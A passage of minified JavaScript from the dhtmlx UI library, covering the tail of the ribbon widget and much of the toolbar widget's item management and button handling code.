c=this._items[e];if(c!=null&&this.items[c.type]!=null&&typeof(this.items[c.type].setImage)==\"function\"){this.items[c.type].setImage(c,a)}};dhtmlXRibbon.prototype.setItemImageDis=function(e,a){var c=this._items[e];if(c!=null&&this.items[c.type]!=null&&typeof(this.items[c.type].setImageDis)==\"function\"){this.items[c.type].setImageDis(c,a)}};dhtmlXRibbon.prototype.getCombo=function(c){var a=this._items[c];if(a!=null&&a.type==\"buttonCombo\"){return a.combo}return null};(function(){var a=dhtmlXRibbon.prototype.items;a.buttonTwoState=a._extends(a.buttonTwoState,a.button);a.buttonSelect=a._extends(a.buttonSelect,a.buttonTwoState);a.buttonSegment=a._extends(a.buttonSegment,a.buttonTwoState)})();if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype._createNode_ribbon=function(h,c,g,a,e){if(typeof(e)!=\"undefined\"){h=e}else{h=document.createElement(\"DIV\");h.className=\"dhx_cell_ribbon_\"+(this.conf.borders?\"def\":\"no_borders\");h.appendChild(document.createElement(\"DIV\"))}this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.cont]);this.conf.ofs_nodes.t.ribbon=true;this._updateIdx();this._adjustCont(this._idd);return h};dhtmlXCellObject.prototype.attachRibbon=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.callEvent(\"_onBeforeContentAttach\",[\"ribbon\"]);if(typeof(a)==\"undefined\"){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=this._attachObject(\"ribbon\").firstChild;this.dataNodes.ribbon=new dhtmlXRibbon(a);var c=this;this.dataNodes.ribbon.attachEvent(\"_onHeightChanged\",function(){c._adjustCont(c._idd)});this._adjustCont();a.parent=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataNodes.ribbon};dhtmlXCellObject.prototype.detachRibbon=function(){if(!this.dataNodes.ribbon){return}this.dataNodes.ribbon.unload();this.dataNodes.ribbon=null;delete this.dataNodes.ribbon;this._detachObject(\"ribbon\")};dhtmlXCellObject.prototype.showRibbon=function(){this._mtbShowHide(\"ribbon\",\"\")};dhtmlXCellObject.prototype.hideRibbon=function(){this._mtbShowHide(\"ribbon\",\"none\")};dhtmlXCellObject.prototype.getAttachedRibbon=function(){return this.dataNodes.ribbon}}\n\n\n\n\n  // function dhtmlXToolbarObject(c,e){var a=this;this.conf={skin:(e||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxtoolbar\")||\"dhx_skyblue\"),align:\"left\",align_autostart:\"left\",icons_path:\"\",iconSize:18,sel_ofs_x:0,sel_ofs_y:0,xml_autoload:null,items_autoload:null};if(typeof(c)==\"object\"&&c!=null&&typeof(c.tagName)==\"undefined\"){if(c.icons_path!=null||c.icon_path!=null){this.conf.icons_path=(c.icons_path||c.icon_path)}if(c.icons_size!=null){this.conf.icons_size_autoload=c.icons_size}if(c.json!=null){this.conf.json_autoload=c.json}if(c.xml!=null){this.conf.xml_autoload=c.xml}if(c.onload!=null){this.conf.onload_autoload=c.onload}if(c.onclick!=null||c.onClick!=null){this.conf.auto_onclick=(c.onclick||c.onClick)}if(c.items!=null){this.conf.items_autoload=c.items}if(c.skin!=null){this.conf.skin=c.skin}if(c.align!=null){this.conf.align_autostart=c.align}c=c.parent}this.cont=(typeof(c)!=\"object\")?document.getElementById(c):c;while(this.cont.childNodes.length>0){this.cont.removeChild(this.cont.childNodes[0])}c=null;this.cont.dir=\"ltr\";this.base=document.createElement(\"DIV\");this.base.className=\"dhxtoolbar_float_left\";this.cont.appendChild(this.base);if(window.dhx4.isIPad){this.cont.ontouchstart=function(g){g=g||event;if((String(g.target.tagName||\"\").toLowerCase()==\"input\")){return true}if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}g.cancelBubble=true;return false}}this.setSkin(this.conf.skin);this.objPull={};this.anyUsed=\"none\";this._genStr=function(g){var h=\"dhxId_\";var m=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";for(var l=0;l<g;l++){h+=m.charAt(Math.round(Math.random()*(m.length-1)))}return h};this.rootTypes=new Array(\"button\",\"buttonSelect\",\"buttonTwoState\",\"separator\",\"label\",\"slider\",\"text\",\"buttonInput\");this.idPrefix=this._genStr(12);window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToJson\",\"toolbar\",{struct:true});window.dhx4._eventable(this);this._getObj=function(m,g){var h=null;for(var l=0;l<m.childNodes.length;l++){if(m.childNodes[l].tagName!=null){if(String(m.childNodes[l].tagName).toLowerCase()==String(g).toLowerCase()){h=m.childNodes[l]}}}return h};this._addImgObj=function(h){var g=document.createElement(\"IMG\");if(h.childNodes.length>0){h.insertBefore(g,h.childNodes[0])}else{h.appendChild(g)}return g};this._setItemImage=function(m,h,g){if(g==true){m.imgEn=h}else{m.imgDis=h}if((!m.state&&g==true)||(m.state&&g==false)){return}var l=this._getObj(m.obj,\"img\");if(l==null){l=this._addImgObj(m.obj)}l.src=this.conf.icons_path+h};this._clearItemImage=function(l,g){if(g==true){l.imgEn=\"\"}else{l.imgDis=\"\"}if((!l.state&&g==true)||(l.state&&g==false)){return}var h=this._getObj(l.obj,\"img\");if(h!=null){h.parentNode.removeChild(h)}};this._setItemText=function(g,l){var h=this._getObj(g.obj,\"div\");if(l==null||l.length==0){if(h!=null){h.parentNode.removeChild(h)}return}if(h==null){h=document.createElement(\"DIV\");h.className=\"dhxtoolbar_text\";g.obj.appendChild(h)}h.innerHTML=l};this._getItemText=function(g){var h=this._getObj(g.obj,\"div\");if(h!=null){return h.innerHTML}return\"\"};this._enableItem=function(h){if(h.state){return}h.state=true;if(this.objPull[h.id][\"type\"]==\"buttonTwoState\"&&this.objPull[h.id][\"obj\"][\"pressed\"]==true){h.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";h.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}else{h.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";h.obj.renderAs=h.obj.className}if(h.arw){h.arw.className=String(h.obj.className).replace(\"btn\",\"arw\")}var g=this._getObj(h.obj,\"img\");if(h.imgEn!=\"\"){if(g==null){g=this._addImgObj(h.obj)}g.src=this.conf.icons_path+h.imgEn}else{if(g!=null){g.parentNode.removeChild(g)}}};this._disableItem=function(h){if(!h.state){return}h.state=false;h.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.objPull[h.id][\"type\"]==\"buttonTwoState\"&&h.obj.pressed?\"pres_\":\"\")+\"dis\";h.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";if(h.arw){h.arw.className=String(h.obj.className).replace(\"btn\",\"arw\")}var g=this._getObj(h.obj,\"img\");if(h.imgDis!=\"\"){if(g==null){g=this._addImgObj(h.obj)}g.src=this.conf.icons_path+h.imgDis}else{if(g!=null){g.parentNode.removeChild(g)}}if(h.polygon!=null){if(h.polygon.style.display!=\"none\"){window.dhx4.zim.clear(h.polygon._idd);h.polygon.style.display=\"none\";if(h.polygon._ie6cover){h.polygon._ie6cover.style.display=\"none\"}if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceButtonSelect(h.id,true)}}}this.anyUsed=\"none\"};this.clearAll=function(){for(var g in this.objPull){this._removeItem(String(g).replace(this.idPrefix,\"\"))}};this._doOnClick=function(g){if(a&&a.forEachItem){a.forEachItem(function(l){if(a.objPull[a.idPrefix+l][\"type\"]==\"buttonSelect\"){var h=a.objPull[a.idPrefix+l];if(h.arw._skip===true){h.arw._skip=false}else{if(h.polygon.style.display!=\"none\"){h.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";h.obj.className=h.obj.renderAs;h.arw.className=String(h.obj.renderAs).replace(\"btn\",\"arw\");a.anyUsed=\"none\";window.dhx4.zim.clear(h.polygon._idd);h.polygon.style.display=\"none\";if(h.polygon._ie6cover){h.polygon._ie6cover.style.display=\"none\"}if(a.conf.skin==\"dhx_terrace\"){a._improveTerraceButtonSelect(h.id,true)}}}}})}};if(window.dhx4.isIPad){document.addEventListener(\"touchstart\",this._doOnClick,false)}else{if(typeof(window.addEventListener)!=\"undefined\"){window.addEventListener(\"mousedown\",this._doOnClick,false)}else{document.body.attachEvent(\"onmousedown\",this._doOnClick)}}if(this.conf.icons_size_autoload!=null){this.setIconSize(this.conf.icons_size_autoload);this.conf.icons_size_autoload=null}if(this.conf.items_autoload!=null){this.loadStruct(this.conf.items_autoload,this.conf.onload_autoload);this.conf.items_autoload=null}else{if(this.conf.json_autoload!=null){this.loadStruct(this.conf.json_autoload,this.conf.onload_autoload);this.conf.json_autoload=null}else{if(this.conf.xml_autoload!=null){this.loadStruct(this.conf.xml_autoload,this.conf.onload_autoload);this.conf.xml_autoload=null}}}if(this.conf.align_autostart!=this.conf.align){this.setAlign(this.conf.align_autostart);this.conf.align_autostart=null}if(typeof(this.conf.auto_onclick)==\"function\"){this.attachEvent(\"onClick\",this.conf.auto_onclick)}else{if(typeof(this.conf.auto_onclick)==\"string\"&&typeof(window[this.conf.auto_onclick])==\"function\"){this.attachEvent(\"onClick\",window[this.conf.auto_onclick])}}return this}dhtmlXToolbarObject.prototype.addSpacer=function(e){var c=this.idPrefix+e;if(this._spacer!=null){if(this._spacer.idd==e){return}if(this._spacer==this.objPull[c].obj.parentNode){var a=true;while(a){var m=this._spacer.childNodes[0].idd;this.base.appendChild(this._spacer.childNodes[0]);if(m==e||this._spacer.childNodes.length==0){if(this.objPull[c].arw!=null){this.base.appendChild(this.objPull[c].arw)}a=false}}this._spacer.idd=e;this._fixSpacer();return}if(this.base==this.objPull[c].obj.parentNode){var a=true;var l=(this.objPull[c].arw!=null);while(a){var g=this.base.childNodes.length-1;if(l==true){if(this.base.childNodes[g]==this.objPull[c].arw){a=false}}if(this.base.childNodes[g].idd==e){a=false}if(a){if(this._spacer.childNodes.length>0){this._spacer.insertBefore(this.base.childNodes[g],this._spacer.childNodes[0])}else{this._spacer.appendChild(this.base.childNodes[g])}}}this._spacer.idd=e;this._fixSpacer();return}}else{var h=null;for(var g=0;g<this.base.childNodes.length;g++){if(this.base.childNodes[g]==this.objPull[this.idPrefix+e].obj){h=g;if(this.objPull[this.idPrefix+e].arw!=null){h=g+1}}}if(h!=null){this._spacer=document.createElement(\"DIV\");this._spacer.className=(this.conf.align==\"right\"?\" dhxtoolbar_float_left\":\" dhxtoolbar_float_right\");this._spacer.dir=\"ltr\";this._spacer.idd=e;while(this.base.childNodes.length>h+1){this._spacer.appendChild(this.base.childNodes[h+1])}this.cont.appendChild(this._spacer);this._fixSpacer()}}if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.removeSpacer=function(){if(!this._spacer){return}while(this._spacer.childNodes.length>0){this.base.appendChild(this._spacer.childNodes[0])}this._spacer.parentNode.removeChild(this._spacer);this._spacer=null;if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype._fixSpacer=function(){if(typeof(window.addEventListener)==\"undefined\"&&this._spacer!=null){this._spacer.style.borderLeft=\"1px solid #a4bed4\";var a=this._spacer;window.setTimeout(function(){a.style.borderLeft=\"0px solid #a4bed4\";a=null},1)}};dhtmlXToolbarObject.prototype.getType=function(e){var g=this.getParentId(e);if(g!=null){var c=null;var a=this.objPull[this.idPrefix+g]._listOptions[e];if(a!=null){if(a.sep!=null){c=\"buttonSelectSeparator\"}else{c=\"buttonSelectButton\"}}return c}else{if(this.objPull[this.idPrefix+e]==null){return null}return this.objPull[this.idPrefix+e][\"type\"]}};dhtmlXToolbarObject.prototype.getTypeExt=function(c){var a=this.getType(c);if(a==\"buttonSelectButton\"||a==\"buttonSelectSeparator\"){if(a==\"buttonSelectButton\"){a=\"button\"}else{a=\"separator\"}return a}return null};dhtmlXToolbarObject.prototype.inArray=function(e,c){for(var a=0;a<e.length;a++){if(e[a]==c){return true}}return false};dhtmlXToolbarObject.prototype.getParentId=function(g){var h=null;for(var e in this.objPull){if(this.objPull[e]._listOptions){for(var c in this.objPull[e]._listOptions){if(c==g){h=String(e).replace(this.idPrefix,\"\")}}}}return h};dhtmlXToolbarObject.prototype._addItem=function(a,c){if(typeof(a.text)==\"string\"){a.text=window.dhx4.trim(a.text);if(a.text.length==0){a.text=null}}this._addItemToStorage(a,c);if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.addButton=function(h,g,c,a,e){this._addItem({id:h,type:\"button\",text:c,img:a,imgdis:e},g)};dhtmlXToolbarObject.prototype.addText=function(e,c,a){this._addItem({id:e,type:\"text\",text:a},c)};dhtmlXToolbarObject.prototype.addButtonSelect=function(g,n,s,a,c,o,m,w,h,l){var v=[];for(var e=0;e<a.length;e++){var r={};if(a[e] instanceof Array){r.id=a[e][0];r.type=(a[e][1]==\"obj\"?\"button\":\"separator\");r.text=(a[e][2]||null);r.img=(a[e][3]||null)}else{if(a[e] instanceof Object&&a[e]!=null&&typeof(a[e].id)!=\"undefined\"&&typeof(a[e].type)!=\"undefined\"){r.id=a[e].id;r.type=(a[e].type==\"obj\"?\"button\":\"separator\");r.text=a[e].text;r.img=a[e].img}}v.push(r)}this._addItem({id:g,type:\"buttonSelect\",text:s,img:c,imgdis:o,renderSelect:m,openAll:w,options:v,maxOpen:h,mode:l},n)};dhtmlXToolbarObject.prototype.addButtonTwoState=function(h,g,c,a,e){this._addItem({id:h,type:\"buttonTwoState\",img:a,imgdis:e,text:c},g)};dhtmlXToolbarObject.prototype.addSeparator=function(c,a){this._addItem({id:c,type:\"separator\"},a)};dhtmlXToolbarObject.prototype.addSlider=function(c,m,h,g,o,e,l,a,n){this._addItem({id:c,type:\"slider\",length:h,valueMin:g,valueMax:o,valueNow:e,textMin:l,textMax:a,toolTip:n},m)};dhtmlXToolbarObject.prototype.addInput=function(g,e,c,a){this._addItem({id:g,type:\"buttonInput\",value:c,width:a},e)};dhtmlXToolbarObject.prototype.forEachItem=function(e){for(var c in this.objPull){if(this.inArray(this.rootTypes,this.objPull[c][\"type\"])){e(this.objPull[c][\"id\"].replace(this.idPrefix,\"\"))}}};(function(){var l=\"isVisible,enableItem,disableItem,isEnabled,setItemText,getItemText,setItemToolTip,getItemToolTip,getInput,setItemImage,setItemImageDis,clearItemImage,clearItemImageDis,setItemState,getItemState,setItemToolTipTemplate,getItemToolTipTemplate,setValue,getValue,setMinValue,getMinValue,setMaxValue,getMaxValue,setWidth,getWidth,setMaxOpen\".split(\",\");var e=[false,\"\",\"\",false,\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",false,\"\",\"\",\"\",null,\"\",[null,null],\"\",[null,null],\"\",null];var c=function(m,n){return function(r,q,o){r=this.idPrefix+r;if(this.objPull[r][m]!=null){return this.objPull[r][m].call(this.objPull[r],q,o)}else{return n}}};for(var h=0;h<l.length;h++){var a=l[h];var g=e[h];dhtmlXToolbarObject.prototype[a]=c(a,g)}})();dhtmlXToolbarObject.prototype.showItem=function(a){a=this.idPrefix+a;if(this.objPull[a]!=null&&this.objPull[a].showItem!=null){this.objPull[a].showItem();if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}}};dhtmlXToolbarObject.prototype.hideItem=function(a){a=this.idPrefix+a;if(this.objPull[a]!=null&&this.objPull[a].hideItem!=null){this.objPull[a].hideItem();if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}}};dhtmlXToolbarObject.prototype.getPosition=function(a){return this._getPosition(a)};dhtmlXToolbarObject.prototype._getPosition=function(h,e){if(this.objPull[this.idPrefix+h]==null){return null}var g=null;var a=0;for(var c=0;c<this.base.childNodes.length;c++){if(this.base.childNodes[c].idd!=null){if(this.base.childNodes[c].idd==h){g=a}a++}}if(!g&&this._spacer!=null){for(var c=0;c<this._spacer.childNodes.length;c++){if(this._spacer.childNodes[c].idd!=null){if(this._spacer.childNodes[c].idd==h){g=a}a++}}}return g};dhtmlXToolbarObject.prototype.setPosition=function(a,c){this._setPosition(a,c)};dhtmlXToolbarObject.prototype._setPosition=function(h,g){if(this.objPull[this.idPrefix+h]==null){return}if(isNaN(g)){g=this.base.childNodes.length}if(g<0){g=0}var a=null;if(this._spacer){a=this._spacer.idd;this.removeSpacer()}var e=this.objPull[this.idPrefix+h];this.base.removeChild(e.obj);if(e.arw){this.base.removeChild(e.arw)}var c=this._getIdByPosition(g,true);if(c[0]==null){this.base.appendChild(e.obj);if(e.arw){this.base.appendChild(e.arw)}}else{this.base.insertBefore(e.obj,this.base.childNodes[c[1]]);if(e.arw){this.base.insertBefore(e.arw,this.base.childNodes[c[1]+1])}}if(a!=null){this.addSpacer(a)}};dhtmlXToolbarObject.prototype._getIdByPosition=function(l,c){var h=null;var a=0;var e=0;for(var g=0;g<this.base.childNodes.length;g++){if(this.base.childNodes[g][\"idd\"]!=null&&h==null){if((a++)==l){h=this.base.childNodes[g][\"idd\"]}}if(h==null){e++}}e=(h==null?null:e);return(c==true?new Array(h,e):h)};dhtmlXToolbarObject.prototype.removeItem=function(a){this._removeItem(a);if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype._removeItem=function(h){var e=this.getType(h);h=this.idPrefix+h;var g=this.objPull[h];if(e==\"button\"){g.obj._doOnMouseOver=null;g.obj._doOnMouseOut=null;g.obj._doOnMouseUp=null;g.obj._doOnMouseUpOnceAnywhere=null;g.obj.onclick=null;g.obj.onmouseover=null;g.obj.onmouseout=null;g.obj.onmouseup=null;g.obj.onmousedown=null;g.obj.onselectstart=null;g.obj.renderAs=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.state=null;g.img=null;g.imgEn=null;g.imgDis=null;g.type=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemText=null;g.getItemText=null;g.setItemImage=null;g.clearItemImage=null;g.setItemImageDis=null;g.clearItemImageDis=null;g.setItemToolTip=null;g.getItemToolTip=null}if(e==\"buttonTwoState\"){g.obj._doOnMouseOver=null;g.obj._doOnMouseOut=null;g.obj.onmouseover=null;g.obj.onmouseout=null;g.obj.onmousedown=null;g.obj.onselectstart=null;g.obj.renderAs=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.state=null;g.img=null;g.imgEn=null;g.imgDis=null;g.type=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemText=null;g.getItemText=null;g.setItemImage=null;g.clearItemImage=null;g.setItemImageDis=null;g.clearItemImageDis=null;g.setItemToolTip=null;g.getItemToolTip=null;g.setItemState=null;g.getItemState=null}if(e==\"buttonSelect\"){for(var c in g._listOptions){this.removeListOption(h,c)}g._listOptions=null;if(g.polygon._ie6cover){document.body.removeChild(g.polygon._ie6cover);g.polygon._ie6cover=null}g.p_tbl.removeChild(g.p_tbody);g.polygon.removeChild(g.p_tbl);g.polygon.onselectstart=null;document.body.removeChild(g.polygon);g.p_tbody=null;g.p_tbl=null;g.polygon=null;g.obj.onclick=null;g.obj.onmouseover=null;g.obj.onmouseout=null;g.obj.onmouseup=null;g.obj.onmousedown=null;g.obj.onselectstart=null;g.obj.idd=null;g.obj.iddPrefix=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.arw.onclick=null;g.arw.onmouseover=null;g.arw.onmouseout=null;g.arw.onmouseup=null;g.arw.onmousedown=null;g.arw.onselectstart=null;g.arw.parentNode.removeChild(g.arw);g.arw=null;g.renderSelect=null;g.state=null;g.type=null;g.id=null;g.img=null;g.imgEn=null;g.imgDis=null;g.openAll=null;g._isListButton=null;g._separatorButtonSelectObject=null;g._buttonButtonSelectObject=null;g.setWidth=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemText=null;g.getItemText=null;g.setItemImage=null;g.clearItemImage=null;g.setItemImageDis=null;g.clearItemImageDis=null;g.setItemToolTip=null;g.getItemToolTip=null;g.addListOption=null;g.removeListOption=null;g.showListOption=null;g.hideListOption=null;g.isListOptionVisible=null;g.enableListOption=null;g.disableListOption=null;g.isListOptionEnabled=null;g.setListOptionPosition=null;g.getListOptionPosition=null;g.setListOptionImage=null;g.getListOptionImage=null;g.clearListOptionImage=null;g.setListOptionText=null;g.getListOptionText=null;g.setListOptionToolTip=null;g.getListOptionToolTip=null;g.forEachListOption=null;g.getAllListOptions=null;g.setListOptionSelected=null;g.getListOptionSelected=null}if(e==\"buttonInput\"){g.obj.childNodes[0].onkeydown=null;g.obj.removeChild(g.obj.childNodes[0]);g.obj.w=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemToolTip=null;g.getItemToolTip=null;g.setWidth=null;g.getWidth=null;g.setValue=null;g.getValue=null;g.setItemText=null;g.getItemText=null}if(e==\"slider\"){if(window.dhx4.isIPad){document.removeEventListener(\"touchmove\",pen._doOnMouseMoveStart,false);document.removeEventListener(\"touchend\",pen._doOnMouseMoveEnd,false)}else{if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",g.pen._doOnMouseMoveStart,false);window.removeEventListener(\"mouseup\",g.pen._doOnMouseMoveEnd,false)}else{document.body.detachEvent(\"onmousemove\",g.pen._doOnMouseMoveStart);document.body.detachEvent(\"onmouseup\",g.pen._doOnMouseMoveEnd)}}g.pen.allowMove=null;g.pen.initXY=null;g.pen.maxX=null;g.pen.minX=null;g.pen.nowX=null;g.pen.newNowX=null;g.pen.valueMax=null;g.pen.valueMin=null;g.pen.valueNow=null;g.pen._definePos=null;g.pen._detectLimits=null;g.pen._doOnMouseMoveStart=null;g.pen._doOnMouseMoveEnd=null;g.pen.onmousedown=null;g.obj.removeChild(g.pen);g.pen=null;g.label.tip=null;document.body.removeChild(g.label);g.label=null;g.obj.onselectstart=null;g.obj.idd=null;while(g.obj.childNodes.length>0){g.obj.removeChild(g.obj.childNodes[0])}g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.state=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.setItemToolTipTemplate=null;g.getItemToolTipTemplate=null;g.setMaxValue=null;g.setMinValue=null;g.getMaxValue=null;g.getMinValue=null;g.setValue=null;g.getValue=null;g.showItem=null;g.hideItem=null;g.isVisible=null}if(e==\"separator\"){g.obj.onselectstart=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.showItem=null;g.hideItem=null;g.isVisible=null}if(e==\"text\"){g.obj.onselectstart=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setWidth=null;g.setItemText=null;g.getItemText=null}e=null;g=null;this.objPull[this.idPrefix+h]=null;delete this.objPull[this.idPrefix+h]};(function(){var g=\"addListOption,removeListOption,showListOption,hideListOption,isListOptionVisible,enableListOption,disableListOption,isListOptionEnabled,setListOptionPosition,getListOptionPosition,setListOptionText,getListOptionText,setListOptionToolTip,getListOptionToolTip,setListOptionImage,getListOptionImage,clearListOptionImage,forEachListOption,getAllListOptions,setListOptionSelected,getListOptionSelected\".split(\",\");var c=function(h){return function(r,m,l,q,o,n){r=this.idPrefix+r;if(this.objPull[r]==null){return}if(this.objPull[r][\"type\"]!=\"buttonSelect\"){return}return this.objPull[r][h].call(this.objPull[r],m,l,q,o,n)}};for(var e=0;e<g.length;e++){var a=g[e];dhtmlXToolbarObject.prototype[a]=c(a)}})();dhtmlXToolbarObject.prototype._rtlParseBtn=function(c,a){return c+a};dhtmlXToolbarObject.prototype._separatorObject=function(a,e,c){this.id=a.idPrefix+e;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_sep\";this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.idd=String(e);this.obj.title=(c.title||\"\");this.obj.onselectstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}};if(window.dhx4.isIPad){this.obj.ontouchstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}g.cancelBubble=true;return false}}a.base.appendChild(this.obj);this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};return this};dhtmlXToolbarObject.prototype._textObject=function(a,e,c){this.id=a.idPrefix+e;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_text\";this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.idd=String(e);this.obj.title=(c.title||\"\");this.obj.onselectstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}};if(window.dhx4.isIPad){this.obj.ontouchstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}g.cancelBubble=true;return false}}this.obj.innerHTML=(c.text||\"\");a.base.appendChild(this.obj);this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(g){this.obj.innerHTML=g};this.getItemText=function(){return this.obj.innerHTML};this.setWidth=function(g){this.obj.style.width=g+\"px\"};this.setItemToolTip=function(g){this.obj.title=g};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._buttonObject=function(a,g,c){this.id=a.idPrefix+g;this.state=(c.enabled!=null?false:true);this.imgEn=(c.img||\"\");this.imgDis=(c.imgdis||\"\");this.img=(this.state?(this.imgEn!=\"\"?this.imgEn:\"\"):(this.imgDis!=\"\"?this.imgDis:\"\"));this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.allowClick=false;this.obj.extAction=(c.action||null);this.obj.renderAs=this.obj.className;this.obj.idd=String(g);this.obj.title=(c.title||\"\");this.obj.pressed=false;this.obj.innerHTML=a._rtlParseBtn((this.img!=\"\"?\"<img src='\"+a.conf.icons_path+this.img+\"'>\":\"\"),(c.text!=null?\"<div class='dhxtoolbar_text'>\"+c.text+\"</div>\":\"\"));var e=this;this.obj.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}};this.obj.onmouseover=function(){this._doOnMouseOver()};this.obj.onmouseout=function(){this._doOnMouseOut()};this.obj._doOnMouseOver=function(){this.allowClick=true;if(e.state==false){return}if(a.anyUsed!=\"none\"){return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";this.renderAs=this.className};this.obj._doOnMouseOut=function(){this.allowClick=false;if(e.state==false){return}if(a.anyUsed!=\"none\"){return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.renderAs=this.renderAs};this.obj.onclick=function(h){if(e.state==false){return}if(this.allowClick==false){return}h=h||event;var l=this.idd.replace(a.idPrefix,\"\");if(this.extAction){try{window[this.extAction](l)}catch(h){}}if(a&&a.callEvent){a.callEvent(\"onClick\",[l])}};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){if(e.state==false){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}h.cancelBubble=true;return false}if(a.anyUsed!=\"none\"){return}a.anyUsed=this.idd;this.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";this.pressed=true;this.onmouseover=function(){this._doOnMouseOver()};this.onmouseout=function(){a.anyUsed=\"none\";this._doOnMouseOut()};return false};this.obj[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(l){if(e.state==false){return}if(a.anyUsed!=\"none\"){if(a.anyUsed!=this.idd){return}}var h=a.anyUsed;this._doOnMouseUp();if(window.dhx4.isIPad&&h!=\"none\"){a.callEvent(\"onClick\",[this.idd.replace(a.idPrefix,\"\")])}};if(window.dhx4.isIPad){this.obj.ontouchmove=function(h){this._doOnMouseUp()}}this.obj._doOnMouseUp=function(){a.anyUsed=\"none\";this.className=this.renderAs;this.pressed=false};this.obj._doOnMouseUpOnceAnywhere=function(){this._doOnMouseUp();this.onmouseover=function(){this._doOnMouseOver()};this.onmouseout=function(){this._doOnMouseOut()}};a.base.appendChild(this.obj);this.enableItem=function(){a._enableItem(this)};this.disableItem=function(){a._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(h){a._setItemText(this,h)};this.getItemText=function(){return a._getItemText(this)};this.setItemImage=function(h){a._setItemImage(this,h,true)};this.clearItemImage=function(){a._clearItemImage(this,true)};this.setItemImageDis=function(h){a._setItemImage(this,h,false)};this.clearItemImageDis=function(){a._clearItemImage(this,false)};this.setItemToolTip=function(h){this.obj.title=h};this.getItemToolTip=function(){return this.obj.title};return 